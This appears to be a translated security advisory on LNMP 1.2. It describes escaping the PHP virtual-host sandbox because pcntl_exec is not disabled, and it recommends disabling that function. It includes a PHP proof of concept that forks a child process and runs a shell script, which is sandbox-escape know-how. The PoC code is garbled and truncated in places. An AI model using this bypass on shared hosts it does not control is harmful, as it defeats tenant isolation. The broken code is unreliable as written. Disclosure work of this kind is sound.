RPM: Lnmp Virtual host PHP sandbox bypass/Command execution (after PHP EXEC command is banned)

LNMP Virtual Host PHP sandbox bypass/Command execution

LNMP Update version 1.2, a lot of things have been upgraded, great. However, a bug was found.

LNMP is a Linux under Nginx, PHP, MySQL one-click installation package.

Download: http://soft.vpser.net/lnmp/lnmp1.2.tar.gz

A simple installation can be performed with a single command.

Vulnerability Details

The LNMP is configured in such a sandbox:

1. Disable_functions, CONFIGURED in include/php.sh:

The values are:

1	Passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_ Restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket

1. Open_basedir, when creating a virtual host, configure:

For example, the method is to create a new. user.ini file in the virtual host and directory, and use this INI to set the Open_basedir, and give Chattr +i its non-modifiable permissions.

But if PHP can execute system commands, Open_basedir doesn't make any sense.

Let's look at the options for compiling PHP:

The pcntl:–enable-pcntl that the PHP default does not open is visible.

We look ahead, pcntl_exec is not disabled. I do not know why, this version of the Pcntl_exec to remove the disable, which led to the virtual host sandbox bypass, command execution.

Gives the method by which the pcntl_exec executes the command.

Pcntl_exec is similar to shell.application under Windows. We need to write a script file and then execute it.

The POC is as follows:

1234567891011121314151617

<?phpheader ( "Content-type:text/plain"); $cmd = "/tmp/exec"; @unlink ( $cmd); @unlink ( "/tmp/output"); $c = "#!/usr/bin/env bash\nuname-a >/tmp/output\n"; File_put_contents ( $cmd, chmod ( $cmd, 0777);  switch (Pcntl_fork ()) {case 0: $ret = Pcntl_exec ( $cmd); exit ( Default:echo "Case 1"; break; }

Write a script that executes the command and outputs the result to/tmp/output.

Then, using Pcntl_fork (), fork out a sub-process and call pcntl_exec in the subprocess to execute the script. Otherwise, executing pcntl_exec in the parent process will cause the process to remain in the waiting state, resulting in 502.

Then look at the output,echo file_get_contents("/tmp/output");

Execute arbitrary command sandbox bypass, the virtual host is meaningless.

Solution Solutions

Disable pcntl_exec, or do not –enable-pcntl

RPM: Lnmp Virtual host PHP sandbox bypass/Command execution (after PHP EXEC command is banned)